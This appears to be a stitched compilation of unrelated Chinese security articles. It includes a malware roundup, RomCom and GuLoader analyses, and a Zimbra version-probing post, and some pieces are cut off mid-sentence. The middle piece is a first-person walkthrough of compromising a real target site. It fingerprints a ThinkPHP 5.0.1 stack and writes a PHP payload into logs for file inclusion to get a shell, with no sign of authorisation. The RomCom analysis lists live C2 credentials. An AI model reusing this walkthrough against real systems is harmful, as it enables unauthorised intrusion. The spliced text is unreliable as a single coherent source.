LNK文件下載並安裝了一個名為“PowerMagic”的PowerShell後門，該後門反過來部署了一個複雜的模塊化框架“CommonMagic”。研究人員發現CommonMagic插件能夠從USB設備中竊取文件，並進行截屏將其發送給攻擊者。

4.png

在初步分析中，研究人員無法找到任何證據將他們發現的樣本和活動中使用的數據與任何以前已知的攻擊者聯繫起來。

Prilex針對非接觸式信用卡交易發起攻擊Prilex已經從專注於ATM的攻擊演變成了涉及PoS的攻擊。該組織開發的最新惡意軟件不是基於PoS攻擊中常見的內存抓取器技術，而是直接開發了一種高度先進的惡意軟件，該軟件包括獨特的加密方案、目標軟件的實時補丁、強制協議降級、操縱密碼、執行所謂的“GHOST交易”和信用卡欺詐，甚至是芯片和PIN卡上的欺詐。

在調查一起事件時，研究人員發現了新的Prilex樣本，其中一個新功能包括阻止非接觸式交易的功能。這些交易生成一個僅對一筆交易有效的唯一標識符，這樣攻擊者就沒有辦法利用它了。通過阻止交易，Prilex試圖迫使客戶插入他們的卡來進行芯片和PIN交易，這樣攻擊者就有機會使用他們的標準技術從卡中捕獲數據。

隨著非接觸式卡交易的增加，該技術可以讓Prilex攻擊者繼續竊取卡信息。

攻擊者使用社會工程來攻擊PoS終端，他們試圖說服零售店的員工，他們迫切需要更新終端的軟件，並允許所謂“技術專家”訪問商店，或者至少提供遠程訪問終端的權限。所以，零售公司要警惕攻擊跡象，包括反复失敗的非接觸式交易，並教育員工了解這種攻擊方法。

對於零售公司（尤其是擁有許多分支機構的公司）來說，制定內部法規並向所有員工解釋技術支持或維護人員應該如何運作是很重要的。這至少可以防止對pos終端的未經授權的訪問。此外，提高員工對最新網絡威脅的意識總是一個好主意，這樣他們就不會那麼容易受到新的社會工程技巧的影響。

使用假冒Tor瀏覽器竊取加密貨幣研究人員最近發現了一個正在進行的加密貨幣盜竊活動，影響了52個國家的1.5萬多名用戶。攻擊者使用了一種已經存在了十多年的技術，最初是由銀行木馬用來替換銀行賬號的。然而，在最近的活動中，攻擊者使用木馬版的Tor瀏覽器來竊取加密貨幣。

目標從包含密碼保護的RAR文檔的第三方資源下載Tor瀏覽器的木馬化版本，密碼用於防止其被安全解決方案檢測到。一旦文件被釋放到目標計算機上，它就會在系統的自動啟動中自我註冊，並偽裝成一個流行應用程序（如uTorrent）的圖標。

5.png

惡意軟件一直等到剪貼板中出現錢包地址，然後將輸入的剪貼板內容的一部分替換為攻擊者自己的錢包地址。

對現有樣本的分析表明，這些攻擊目標的估計損失至少為40萬美元，但實際被盜金額可能要大得多，因為研究人員的研究只關注Tor瀏覽器濫用。其他活動可能使用不同的軟件和惡意軟件傳播方法，以及其他類型的錢包。

研究人員目前還無法確定一個承載安裝程序的網站，因此它可能是通過torrent下載或其他軟件下載程序傳播的。來自官方Tor項目的安裝程序是數字簽名的，不包含任何此類惡意軟件的跡象。因此，為了保證安全，你應該只從可靠和可信的來源下載軟件。即使有人下載了木馬化的版本，一個好的反病毒產品也應該能夠檢測到它。

還有一種方法可以檢查你的系統是否受到同類惡意軟件的攻擊。在記事本中輸入以下“比特幣地址”：

bc1heymalwarehowaboutyoureplacethisaddress

現在按Ctrl+C和Ctrl+V。如果地址更改為其他地址，則係統可能受到剪貼板注入器惡意軟件的危害，並且使用起來很危險。

6.png

我們建議你用安全軟件掃描你的系統。如果你不確定是否有隱藏的後門，那麼一旦系統被破壞，你就不應該信任它，直到它被重建。

利用ChatGPT發起攻擊自從OpenAI通過ChatGPT向公眾開放其大型GPT-3語言模型以來，人們對該項目的興趣猛增，爭相探索它的可能性，包括寫詩、參與對話、提供信息、為網站創建內容等等。

關於ChatGPT對安全格局的潛在影響，也有很多討論。

鑑於ChatGPT模仿人類互動的能力，使用ChatGPT的自動魚叉式網絡釣魚攻擊很可能已經發生了。 ChatGPT允許攻擊者在工業規模上生成有說服力的個性化電子郵件。此外，來自釣魚信息目標的任何回复都可以很容易地輸入聊天機器人的模型，在幾秒鐘內產生令人信服的後續活動。也就是說，雖然ChatGPT可能會讓攻擊者更容易偽造網絡釣魚信息，但它並沒有改變這種攻擊形式的本質。

攻擊者還在地下黑客論壇上介紹了他們如何使用ChatGPT創建新的木馬。由於聊天機器人能夠編寫代碼，如果有人描述了一個所需的功能，例如，“將所有密碼保存在文件X中，並通過HTTP POST發送到服務器Y”，他們可以在不具備任何編程技能的情況下創建一個簡單的信息竊取器。然而，這樣的木馬很可能是很低級的，並且可能包含效果較差的漏洞。至少就目前而言，聊天機器人只能編寫低級惡意軟件。

研究人員還發現了一個惡意活動，試圖利用ChatGPT日益流行的優勢。欺詐者創建了模仿愛好者社區的社交網絡群組。這些群組還包含預先創建的帳戶的虛假憑據，這些帳戶聲稱可以訪問ChatGPT。這些群組包含一個看似合理的鏈接，邀請人們下載一個虛假的Windows版ChatGPT。

7.jpg

該惡意鏈接安裝了一個木馬，可以竊取存儲在Chrome、Edge、Firefox、Brave和其他瀏覽器中的帳戶憑證。

由於安全研究人員經常發布有關攻擊者的報告，包括TTP（戰術、技術和程序）和其他指標，研究人員決定嘗試了解ChatGPT對安全格局的影響，以及它是否可以幫助常見的惡意工具和IoC，如惡意哈希和域。

基於主機的工件的響應看起來很有希望，所以研究人員指示ChatGPT編寫一些代碼，從測試Windows系統中提取各種元數據，然後問自己元數據是否是IoC：

8.png

由於某些代碼片段比其他代碼片段更方便，研究人員繼續手動開發這種概念驗證：他們過濾了ChatGPT響應包含關於IoC存在的“yes”語句的事件的輸出，添加了異常處理程序和CSV報告，修復了小漏洞，並將代碼片段轉換為單獨的cmdlet，從而生成了一個簡單的IoC掃描器HuntWithChatGPT.psm1，它能夠通過WinRM掃描遠程系統。

雖然對於OpenAI API來說，IoC掃描的精確實現目前可能不是一個非常划算的解決方案，因為每台主機需要15到20美元，但它顯示了有趣的結果，並為未來的研究和測試提供了機會。

人工智能對我們生活的影響將遠遠超出ChatGPT和其他當前機器學習項目的能力。 Ivan Kwiatkowski是卡巴斯基實驗全球研究和分析團隊的一名研究員，他最近探討了我們可以預期的長期變化的可能範圍。這些觀點不僅包括人工智能帶來的生產力提高，還包括它可能帶來的社會、經濟和政治變化的影響。

追踪用戶的數字足跡研究人員已經習慣了服務提供商、營銷機構和分析公司跟踪用戶的鼠標點擊、社交媒體帖子以及瀏覽器和流媒體服務的歷史記錄。公司這麼做有很多原因，他們希望更好地了解我們的偏好，並建議我們更有可能購買的產品和服務。他們這樣做是為了找出我們最關注的圖像或文本，甚至還向第三方出售我們的在線行為和偏好。

跟踪是使用網絡信標（又名追踪器像素和間諜像素）完成的。最流行的跟踪技術是將1×1甚至0x0像素的微小圖像插入電子郵件、應用程序或網頁。電子郵件客戶端或瀏覽器通過傳輸服務器記錄的有關用戶的信息來請求從服務器下載圖像。這包括時間、設備、操作系統、瀏覽器和下載像素的頁面。這就是信標操作員了解你打開電子郵件或網頁的方式以及方式。通常使用網頁中的一小段JavaScript來代替像素，它可以收集更詳細的信息。這些信標被放置在每個頁面或應用程序屏幕上，使公司可以在你上網的任何地方跟踪你。

在研究人員最近關於網絡追踪器的報告中，他們列出了網站和電子郵件中最常見的20個信標。網絡信標的數據基於卡巴斯基匿名統計數據，該組件阻止網站追踪器的加載。大多數公司至少與數字廣告和營銷有一定聯繫，包括谷歌、微軟、亞馬遜和甲骨文等科技巨頭。

9.jpg

電子郵件信標的數據來自卡巴斯基郵件產品的匿名反垃圾郵件檢測數據。列表中的公司是電子郵件服務提供商（ESP）或客戶關係管理（CRM）公司。

10.jpg

使用追踪器收集的信息不僅對合法公司有價值，對攻擊者也有價值。如果他們能夠獲得這些信息，例如，由於數據洩露，他們可以利用這些信息攻擊在線賬戶或發送虛假電子郵件。此外，攻擊者還利用網絡信標。你可以在此處找到有關如何保護自己免受跟踪的信息。

通過搜索引擎插入惡意廣告最近幾個月，研究人員觀察到使用谷歌廣告作為傳播惡意軟件手段的惡意活動數量有所增加。至少有兩個不同的竊取程序——Rhadamanthys和RedLine，它們濫用了搜索引擎推廣計劃，以便向受害者的電腦發送惡意有效負載。

11.png

他們似乎使用了與著名軟件（如Notepad++和Blender 3D）相關的網站模仿技術。攻擊者創建合法軟件網站的副本，並使用“誤植域名”(使用拼寫錯誤的品牌或公司名稱作為url)或“組合搶注”(如上所述，但添加任意單詞作為url)來使網站看起來合法。然後，他們付費在搜索引擎中推廣該網站，以將其推到搜索結果的首位。

12.png

惡意軟件的分佈表明，攻擊者的目標是全球範圍內的個人和企業受害者。

HireHackking

拿到目标站这个页面

图片

还没开始就已经准备放弃

然后咱看右上角有个积分商城,心如死灰的我点进去

图片

看到这个页面直接摔门出去抽烟十分钟[别问为什么一问就是之前没搞成

开始信息收集吧

拿到这个积分商城把域名放进fofa

图片

得到真实ip以后找到了宝塔后台登录面板

图片

然后用域名/ip对目录进行扫描[御剑超大字典那款]看着语言栏勾选啊，还不知道啥脚本语言域名后面直接跟上index.php[有页面]、index.jsp[404]、index.asp[404]好嘞勾上php得到后台

图片

像这样的页面源码很少的就碰运气找特征来试

图片

在fofa中搜索

图片

很多页面都是显示onethink,然后放百度搜一下

图片

确定了是这个框架并且是基于thinkphp开发的[这里有个思路:
当我们用tp框架漏洞去打的时候如果不成功,
那么我们就可以利用找到的cms进行代码审计,
基于我们上面已经找到了宝塔登录面板那么我们可以审计任意文件读取得到宝塔用户名密码,
计划任务getshell]利用tp漏洞扫描工具获得POC

图片

debug报错出来是tp5.0.1搜了一下找到了日志路径尝试利用日志包含一直没成功
后来发现他的日志到了一定的数量就会清空且phpinfo页面
会占有一定的kb所以要通过burp让他的日志清空再进行包含
把url编码抓包给转换成<?php phpinfo();?> //具体原因见[漏洞汇总 文件包含]

图片

图片

发送send时日志文件在burp里面没显示完马上就没有了此时再回头看最初POC当POC成功的时候下面会有debug信息

图片

所以我们把注意力放在Raw当执行成功时会显示以下信息提取关键特征

图片

提取关键特征在Raw里面进行搜索

图片

图片


所以当如果<?php phpinfo();?>包含进去了的话就会有这两个特征重复刚才的操作把我们的<?php phpinfo();?> 
写进日志抓包把url的%3C?php%20phpinfo();?%3E转换成<?php phpinfo();?>
这里要注意,他的日志到了一定量的时候就会被清空就包含不了我们的恶意代码当我们写<?php phpinfo();?>
在日志时候,每发送一次就要访问日志查看是否存在<?php phpinfo();?> 这里我试了三次,成功包含
寻找特征(成功包含)剩下的getshell就不说了太简单了,只要包含进去了执行了getshell不是问题

图片



图片


转载于原文链接： https://mp.weixin.qq.com/s/vE5QQx0FI_0OWVQ-6Uc9xg


HireHackking

由經濟利益驅動，惡意組織在地緣衝突區域發起APT攻擊的趨勢越來越明顯。

Void Rabisu，也被稱為Tropical Scorpius，研究人員認為它使用RomCom後門發起攻擊。分析發現，Void Rabisu的攻擊是出於經濟動機。自2022年10月以來，Void Rabisu的動機似乎發生了變化，當時RomCom後門被報導出現在俄烏衝突中。

研究發現，至少自2022年10月以來，RomCom後門一直出現在地緣政治區域，接下來，研究人員將討論RomCom是如何隨著時間的推移而演變的，以及後門是如何通過類似APT的方法傳播的，以及目前正在發生的著名網絡犯罪活動所使用的方法，以表明RomCom正在使用更多的逃避技術。

RomCom使用的第三方服務也被其他攻擊者使用，如惡意軟件簽名和二進制加密。 RomCom已經通過許多誘餌網站傳播。 Void Rabisu是出於經濟動機的，他們的目標和動機在特殊的地緣政治環境下看起來更像是出於政治目的。

RomCom活動自2022年夏天以來，研究人員一直在跟踪RomCom的活動，自那以後，它的逃避方法有所升級，惡意軟件不僅經常使用VMProtect來增加手動和自動沙盒分析的難度，而且還在有效負載文件上使用二進制填充技術。這為文件添加了大量的覆蓋字節，增加了惡意負載的大小（研究人員看到一個文件的大小為1.7G）。此外，最近添加了一個新的例程，該例程涉及有效負載文件的加密，只有在下載特定密鑰以激活有效負載的情況下，才能對有效負載文件進行解密。

除了這些逃避技術外，RomCom還使用誘餌網站進行傳播，這些網站通常看起來是合法的，並被用於目標定位。這使得通過網絡信譽系統自動屏蔽這些誘惑網站變得更加困難。 Void Rabisu一直在使用谷歌廣告誘導他們的目標訪問誘餌網站，類似於2022年12月傳播IcedID殭屍網絡的活動。一個關鍵的區別是，雖然IcedID的目標範圍更廣，但Void Rabisu可能選擇了谷歌廣告向其廣告商提供的更有針對性的目標。

RomCom的活動還利用了具有高度針對性的魚叉式網絡釣魚電子郵件。

在RomCom誘餌網站上，目標被提供合法應用程序的木馬版本，如聊天應用程序(如AstraChat和Signal)、PDF閱讀器、遠程桌面應用程序、密碼管理器和其他通常由系統管理員使用的工具。

1.1.png

1.2.png

1.3.png

1.4.png

1.5.png

1.6.png

研究人員統計了自2022年7月以來建立的幾十個誘餌網站。例如，RomCom在2022年3月對一名歐洲議會議員使用了魚叉式網絡釣魚，但在2022年10月通過谷歌廣告定位了一家歐洲國防公司，該廣告導致一個中介登陸網站重定向到RomCom誘餌網站。該中介登陸網站使用了域名“kagomadb[.]com”，該域名後來於2022年12月用於Qakbot和Gozi有效負載。

追踪發現，RomCom後門的目標是烏克蘭及其盟友。

RomCom 3.0：AstraChat活動接下來，我們將分析2023年2月針對東歐目標使用的RomCom後門樣本。 Palo Alto的Unit 42分析了以前的RomCom版本，使用模塊化架構，支持多達20種不同的命令。從那時起，惡意軟件在支持的命令數量方面發生了顯著變化，但其模塊化架構幾乎沒有改變。 RomCom 3.0背後的攻擊者還使用不同的技術來釋放和執行惡意軟件。該分析基於一項將RomCom 3.0嵌入AstraChat即時消息軟件安裝包的活動。

Dropperastrachat.msi 文件是一個Microsoft安裝程序（msi）文檔。儘管安裝了與合法的AstraChat軟件相關的文件，但它還是打開了一個惡意的InstallA.dll文件，並調用其Main()函數。

2.png

InstallA.dll文件提取%PUBLIC%\Libraries文件夾下的三個動態鏈接庫（DLL）文件：

prxyms

winipfile

netid

這些DLL文件中的數字是基於從HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid的Windows註冊表中讀取的計算機GUID的整數。

持久性為了持久性，RomCom使用COM劫持，因此得名。 InstallA.dll在Windows註冊表中寫入以下註冊表值：

[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6}\InProcServer32]

@='%PUBLIC%\\Libraries\\prxyms

這會覆蓋HKEY_LOCAL_MACHINEhive中的相同項，導致請求該類ID（CLSID）的進程加載位於%PUBLIC%\Libraries\prxyms.DLL的RomCom加載程序DLL。其中一個進程是explorer.exe，它由RomCom dropper重新啟動，因此調用加載程序DLL。

RomCom加載程序還通過使用轉發的導出將對其導出函數的調用重定向到合法的actxprxy.dll。

3.png

RomCom 3.0加載程序(prxyms

但是，在調用被轉發之前，RomCom加載程序的DLL入口點上的惡意代碼會運行。這段代碼使用rundll32.exe來執行從winipfile

基礎架構RomCom 3.0分為三個組件：一個加載器，一個與命令和控制(CC)服務器交互的網絡組件，以及一個在受害者計算機上執行操作的工作組件。網絡組件由netid

4.png

RomCom 3.0總體架構

Bot命令RomCom 3.0命令是惡意網絡組件對HTTP POST請求的響應。

5.png

RomCom 3.0命令結構

上圖顯示了接收到命令5的示例，該命令是將文件下載到受害者的計算機上的命令。用於通信的ID是0x950，並且接收到帶有附加數據的命令0x05。在這種情況下，附加數據告訴受感染計算機上運行的惡意軟件，下載的文件應佔用939 (0x3ac – 1) 4KB塊。文件本身是在單獨的響應中下載的，因此在這種情況下，受害者端的最終文件大小將為3,846,144字節。作為一種逃避技術，將空字節附加到文件中以實現此結果，附加數據字段的內容可能因命令而異。

在RomCom 3.0中，研究人員列舉了42個有效命令，以下是用於常規後門的大量命令，但是其中一些命令只是其他命令的變體。

1—發送連接的驅動器信息；

2—發送指定目錄下的文件名列表；

3—啟動cmd.exe以運行現有程序；

4—將指定的文件上載到CC服務器；

5—將文件下載到受害者的計算機上；

6—刪除受害者計算機上的指定文件；

7—刪除受害者計算機上的指定目錄；

8—生成一個帶有PID欺騙的給定進程(PID也作為命令數據的一部分)；

12—從%PUBLIC%\Libraries\PhotoDirector.dll中調用startWorker()，然後將%PUBLIC%\Libraries\PhotoDirector.zip發送到CC服務器並將其刪除；

13—從%PUBLIC%\Libraries\PhotoDirector.dll中調用startWorker()，將屏幕信息寫入%PUBLIC%\Libraries\update.conf；

14—將%PUBLIC%\Libraries\PhotoDirector.zip上傳到CC服務器並將其刪除；

15—發送正在運行的進程及其PID的列表；

16—發送已安裝軟件列表；

17—刪除worker組件(winipfile

18—下載文件並將其保存到%PUBLIC%\Libraries\PhotoDirector.dll；

19—下載一個文件，保存到“%PUBLIC%\Libraries\BrowserData\procsys.dll”中，調用其導出的stub()函數；

20—下載一個可能包含3proxy和plink的ZIP文件；

21—使用3proxy和plink，通過SSH協議建立代理，接收IP地址、密碼、本地和遠程端口作為命令參數，SSH服務器用戶名固定為“john”；

22—終止3proxy.exe和plink.exe進程；

23—下載一個文件並將其保存到%PUBLIC%\Libraries\upd-fil

24—發送%PUBLIC%\Libraries\BrowserData\Result的內容；

25—複製工作線程；

26—發送Windows版本；

29—從CC服務器下載freeSSHd；

30—運行freeSSHd並使用plink創建51.195.49.215的反向連接，用戶名為“john”，密碼為“eK6czNHWCT569L1xK9ZH”

31—關閉freeSSHd進程；

32—在%USERPROFILE%中的“下載”、“文檔”和“桌面”文件夾中發送.txt、rtf、xls、xlsx、ods、cmd、pdf、vbs、ps1、one、kdb、/kdb、doc、doc，odt、eml、msg和.email文件；

34—在受害者計算機的隱藏窗口運行AnyDesk，將AnyDesk ID發送給CC服務器；

35—終止AnyDesk進程，並刪除其可執行文件；

36—下載AnyDesk可執行文件並將其保存到%PUBLIC%\Libraries\dsk.exe；

38—下載文件並將其保存到%PUBLIC%\Libraries\wallet.exe；

39—下載文件並將其保存到%PUBLIC%\Libraries\7z.dll；

40—下載文件並將其保存到%PUBLIC%\Libraries\7z.exe；

41—發送用7-Zip壓縮的%PUBLIC%\Libraries\tempFolder的內容；

42—下載文件並將其保存到%PUBLIC%\Libraries\7za.exe；

43—使用%PUBLIC%\Libraries\7za.exe將給定文件夾壓縮為fold.zip文檔，並將壓縮後的文檔發送到CC服務器；

44—終止PhotoDirector.dll進程；

45—下載文件並將其保存到%PUBLIC%\Libraries\msg.dll；

46—調用%PUBLIC%\Libraries\msg.dll導出的stW()函數；

47—下載文件並將其保存到%PUBLIC%\Libraries\FileInfo.dll；

48—調用%PUBLIC%\Libraries\FileInfo.dll導出的fSt()函數；

49—更新網絡組件；

其他惡意軟件根據發送回CC服務器的消息以及命令如何使用這些文件，研究人員可以推斷出幾個附加組件的用途：

PhotoDirector.dll—用於獲取一個或多個屏幕截圖，並將它們壓縮到%PUBLIC%\Libraries\PhotoDirector.zip中的程序；

procsys.dll—一個被稱為STEALDEAL的竊取程序，用於檢索瀏覽器cookie並將其寫入%PUBLIC%\Libraries\BrowserData\Result；

wallet.exe—一個加密錢包抓取器，將被盜信息寫入%PUBLIC%\Libraries\tempFolder；

msg.dll—用於竊取聊天信息的即時消息抓取器；

FileInfo.dll—FTP憑據的竊取器，或使受害者的計算機將文件上傳到FTP服務器的組件；

除了這些額外的惡意軟件，RomCom 3.0似乎也有下載和運行合法軟件的命令：

dsk.exe–AnyDesk軟件的便攜式版本；

7z.dll、7z.exe和7za.exe–與7-Zip程序相關的文件；

STEALDEAL通過RomCom的CC服務器下載的竊取程序是一個相對簡單的程序，它可以從以下瀏覽器中竊取存儲的憑據和瀏覽歷史：

GoogleChrome

MicrosoftEdge

MozillaFirefox

Chromium

ChromeBeta

YandexBrowser

竊取器還收集了有關已安裝郵件客戶端的信息。被盜數據本地存儲在受害者計算機上的%PUBLIC%\Libraries\BrowserData\Result，通過CC命令24，這些數據通過RomCom CC服務器進行被洩漏。研究人員檢測到這個竊取器是TrojanSpy.Win64.STEALDEAL，也被稱為SneakyTealer。

逃避技術RomCom 3.0二進製文件受VMProtect保護。有些二進製文件還使用有效的證書進行簽名。因為攻擊者決定使用VMProtect的反虛擬機功能，在沒有修改或虛擬機加固的情況下在虛擬機中運行它的任何嘗試都將導致惡意軟件顯示錯誤消息並退出。

6.png

RomCom 3.0示例中默認的VMProtect反虛擬機檢測

RomCom使用的另一個有趣的技術是將空字節添加到從CC服務器接收的文件中的能力。將文件增大可以是為了避免沙盒產品或安全軟件掃描儀對文件大小進行限制。

在之後的RomCom版本中，託管在誘餌網站上的二進製文件包含加密的有效負載。要正確解密負載，它需要訪問IP地址為94.142.138.244的web服務器並下載解密密鑰。研究人員懷疑該網站是一個第三方服務，也可能被其他惡意軟件使用，包括Vidar竊取程序，也被稱為StealC。另外，最新的RomCom釋放程序已停止釋放worker組件。相反，網絡組件要從CC服務器下載它。

數據包的結構(packetstructure)和通信流根據研究人員對受害者計算機和RomCom CC服務器之間通信的觀察，研究人員能夠確定這種通信的數據包結構。最初，客戶端會向服務器發送受害者計算機上的信息，例如其通用唯一標識符(UUID)、用戶名和計算機名稱。然後，服務器將使用一個四個字節長的會話ID進行響應。然後，CC服務器對發送到受害計算機的每個命令在第一個字節上增加一個會話ID。

7.png

觀察到的數據包結構

研究人員觀察到的第一個命令是命令3，它使用cmd.exe運行帶有參數/domain_trusts的Nltest命令。這樣做是為了收集受害者計算機可能知道的任何域的信息。一旦命令完成，它將返回會話ID為五字節的命令結果；此時前四個字節是未知的，但研究人員觀察到，如果它向服務器返回數據，則第一個字節將為0x01，如果它從服務器接收數據，則為0x00。

然後，CC服務器似乎以自動的方式請求特定的信息，因為相同的請求會快速連續地發送。根據研究人員的分析，他們確定服務器正在請求受害計算機：

使用命令3返回ntlist/domain_trusts；

下載StealtDeal以收集某些信息；

使用StealtDeal從受害者的計算機收集cookie和其他信息；

使用命令32從“桌面”、“文檔”和“下載”文件夾中收集文件；

8.png

CC服務器和受害者計算機之間的通信流程

使用假冒公司和網站惡意軟件使用證書為目標受害者下載的軟件增加可信度。乍一看，正在簽署這些二進製文件的公司看起來像是經過證書籤名的合法公司。然而，仔細查看這些公司的網站會發現一些奇怪之處，包括不存在的電話號碼、高管的照片、似乎不匹配的辦公室地址。這讓研究人員相信，這些要么是虛假公司，要么是合法公司，它們被濫用以逃避二進製文件授權簽名檢查。

AstraChat活動中使用的RomCom 3.0樣本由一家名為Noray 的加拿大諮詢公司簽署，該公司擁有一個LinkedIn頁面、一個網站，甚至在加拿大的商業註冊中有一個列表。

9.png

Noray 諮詢公司的LinkedIn頁面截圖

11.png

Noray 諮詢公司的安大略省商業註冊搜索結果

該公司的LinkedIn頁面還提到，Noray 諮詢公司致力於《萨班斯-奥克斯利法案》 （SOX）規定的年度審計，以及其他風險控制領域。然而，領英的頁面也指向一個不存在的網站noray[.]ca。

根據其LinkedIn頁面，該公司聲稱總部位於安大略省，研究人員在加拿大企業的公共記錄中查找了有關該公司的任何信息。在2020年，Noray 諮詢公司的所有者已經修改了公司名稱。攻擊者似乎很善於利用那些不活躍或處於類似狀態的公司，然後會盜用這些公司的名字。

在網上搜索Noray諮詢公司時會發現，其主要網站有一個不匹配的域名firstbytecconsulting[.]com。該網站曾是一家專門從事項目管理公司的網站。該域名似乎已於2020年到期，但被購買並重新利用，類似於2020年之前的網站。現在，將這個域名與Noray諮詢公司有關的是，網站上的地址詳細信息與Noray諮詢公司的LinkedIn頁面上的地址信息相匹配：這是一家位於安大略省米爾頓的加拿大公司。聯繫人頁面上有一張顯示公司位置的地圖，但地圖是俄語的。這可能意味著製作這張谷歌地圖的人的主要語言設置為俄語，這對於一家加拿大公司來說及其怪異。

11.png

網站聯繫人頁面地圖截圖

研究人員還發現，他們網站上提到的人很可能是與企業沒有任何關係的人的庫存圖像或人工智能生成的照片，如下圖所示。

12.png

網站團隊成員頁面截圖

進一步調查顯示，上圖中潛藏有許多危險標識：

這些人在互聯網上似乎都沒有真實的人物形象；

反向圖像搜索顯示，這些是在幾個網站上使用的庫存照片圖像；

團隊中的兩名成員擁有相同的職位，即“經理、人力資源流程和薪酬”；

研究人員還觀察到，Noray諮詢公司網站其他部分的文本有部分是從其他網站複製的。這表明，這些攻擊者正試圖讓這些網站變得可信，提供從網上找到的真實公司那裡獲得的看似現實的服務。

Void Rabisu有許多誘餌網站，試圖說服目標下載木馬合法應用程序。這些誘餌網站乍看起來是合法的，但仔細看會有許多奇怪之處。例如，

HireHackking

0x00 前言本文將要介紹Zimbra版本探測的多種方法，通過Python實現自動化，記錄開發細節，開源代碼。

0x01 簡介本文將要介紹以下內容：

實現思路

實現細節

開源代碼

0x02 實現思路查看Zimbra版本的方法有很多，各有優缺點，具體方法如下：

1.通過Web管理頁面通過瀏覽器訪問7071管理頁面，在主頁面會顯示當前Zimbra版本

例如我的測試環境顯示為：

Zimbra Version: 9.0.0_GA_4273.NETWORK

通過該方法獲得的版本為準確版本

2.通過執行命令微信截图_20230303155211.png

2.png

注：

Zimbra補丁更新可參考：

https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/patch_installation

3.通過Zimbra SOAP API默認配置下，zimbraSoapExposeVersion屬性為FLASE，查詢命令：

微信截图_20230303155456.png返回結果：

3.png需要將zimbraSoapExposeVersion屬性設置為TRUE後，可以通過Zimbra SOAP API獲得版本，修改屬性的命令為：

4.png發送的SOAP格式示例：

5.png默認配置下的返回結果：

6.png

4.通過imap協議7.png

5.通過imap over ssl協議8.png

6.通過特定url 9.png

0x03 實現細節綜合以上探測方法，為了適應多種環境，在程序實現上選取了通過imap協議、通過imap over ssl協議和通過特定url三種方法實現

1.通過imap協議完整示例代碼：

10.png 11.png

2.通過imap over ssl協議需要將ip轉為hostname作為參數，示例代碼:

12.png

完整示例代碼：

13.png 14.png

存在部分環境無法將ip轉為hostname，導致報錯：[Errno 11004] host not found，所以在程序判斷邏輯上優先使用imap協議

3.通過特定url完整示例代碼：

15.png 16.png

0x04 開源代碼完整的實現代碼已上傳至github，地址如下：

https://github.com/3gstudent/Homework-of-Python/blob/master/Zimbra_GetVersion.py

代碼首先嘗試通過特定url獲得版本信息，再通過imap協議讀取版本信息，如果失敗，最後通過imap over ssl協議讀取版本信息

0x05 小結本文介紹了Zimbra版本探測的多種方法，比較優缺點，選取有效的方法並通過Python實現自動化，記錄開發細節，開源代碼，作為一個很好的學習示例。

HireHackking

微信截图_20230603211328.png

GuLoader又稱CloudEyE，是一種Visual Basic Script (VBS) 下載程序，用於在受感染的計算機上傳播遠程訪問木馬，最早於2019年被首次發現。 GuLoader是一個著名的基於shellcode的下載程序，已被用於大量攻擊，主要用於傳輸各類惡意軟件。 GuLoader已經活躍了三年多，目前仍在進一步開發中。最新版本集成了新的反分析技術，這使得檢測變得越來越困難。新的GuLoader樣本在VirusTotal上接收零檢測，確保其惡意有效負載也未被檢測到。

GuLoader的有效負載是完全加密的，包括PE標頭。這允許攻擊者使用知名的公共雲服務存儲有效負載，繞過安全保護，並保持有效負載長時間可供下載。

早期版本的GuLoader是作為包含加密shellcode的VB6應用程序實現的。目前，最常見的版本是基於VBScript和NSIS安裝程序。 VBScript變體將shellcode存儲在遠程服務器上。

GuLoader介紹“封裝”和“加密”服務是專門為抵抗安全產品而設計的。 GuLoader是攻擊者用來逃避安全檢測的最重要途徑。

1.png

過去6個月內使用GuLoader的攻擊次數

除了代碼加密之外，GuLoader還利用了許多其他技術，包括反調試和沙盒逃避技術。 GuLoader的一個顯著特徵是加密的有效負載被上傳到遠程服務器。潛在的攻擊者會獲得一個高度保護的基於shellcode的加載程序，該加載程序從遠程服務器下載負載，然後解密並在內存中運行它，而不會將解密的數據釋放到硬盤驅動器中。

儘管谷歌努力阻止GuLoader加密的惡意負載，但在大多數情況下，GuLoader仍然從谷歌硬盤下載負載。下圖顯示了GuLoader在過去一個月使用的不同託管服務的統計數據。

2.png

GuLoader在2023年3月至4月期間使用的不同託管服務

有分析表明，GuLoader目前被用來傳播以下惡意軟件：

Formbook

XLoader

Remcos

404Keylogger

Lokibot

AgentTesla

NanoCore

NetWire

早期的GuLoader樣本設法避免了安全產品的檢測，但後來不同的安全解決方案都能夠檢測到它。然而，在網絡安全供應商不斷提高同時，GuLoader的開發人員也在繼續改進他們的產品。

技術細節GuLoader的早期版本是作為包含加密shellcode的VB6應用程序實現的。 shellcode執行加載加密有效負載、解密和從內存啟動它的主要功能。

目前，最常見的版本是基於VBScript和NSIS安裝程序(Nullsoft Scriptable Install System)。

VBScript變體在2022年底介紹的早期版本中，shellcode存儲在VBScript中。

新版本的一個顯著特點是加密的shellcode託管在雲服務(通常是Google Drive)上。 VBScript本身只包含一個小的混淆的PowerShell腳本和大量的垃圾代碼。這使得GuLoader樣本保持非常低的檢測率。

以下是使用GuLoader的VBS變體的感染鏈示例：

3.png

使用GuLoader的VBS變體的感染鏈

讓我們考慮一個SHA256 5fcfdf0e241a0347f9ff9caa897649e7fe8f25757b39c61afddbe288202696d5的示例。在2023年3月3日上傳到VirusTotal (VT)時，它從未被檢測到：

4.png

上傳兩天后，59家供應商中只有17家將此樣本標記為惡意樣本。

在撰寫本文時，指定的樣本上傳到VT已有3週，下載GuLoader shellcode和下載惡意負載(Remcos)的url仍然很活躍：

5.png

讓我們來看看GuLoader VBScript的內部。它包含許多偽隨機註釋和一些無用的命令。清理之後，我們得到的代碼是這樣的：

6.png

清理過的GuLoader vbscript

這段代碼的目的是調用PowerShell解釋器，並將“pa0”變量中收集的腳本代碼作為參數傳遞給它。

如果我們在添加省略和連字符後查看“pa0”變量的內容，我們會得到以下腳本：

7.png

GuLoader混淆了PowerShell腳本

我們看到這個新腳本包含函數“Gothites9”，它實現了從第二個字符開始以3的步長剪切傳遞的字符串。因此，命令“$Tjene0=Gothites9'OIUlEDiXSa'；”的結果是“IEX”。

字符串$Parrotb以相同的方式轉換。從位置2開始，從該字符串中每隔三個字符獲取一個字符串，該字符串是另一個PowerShell腳本：

8.png

刪除第一層混淆後的GuLoader PowerShell腳本

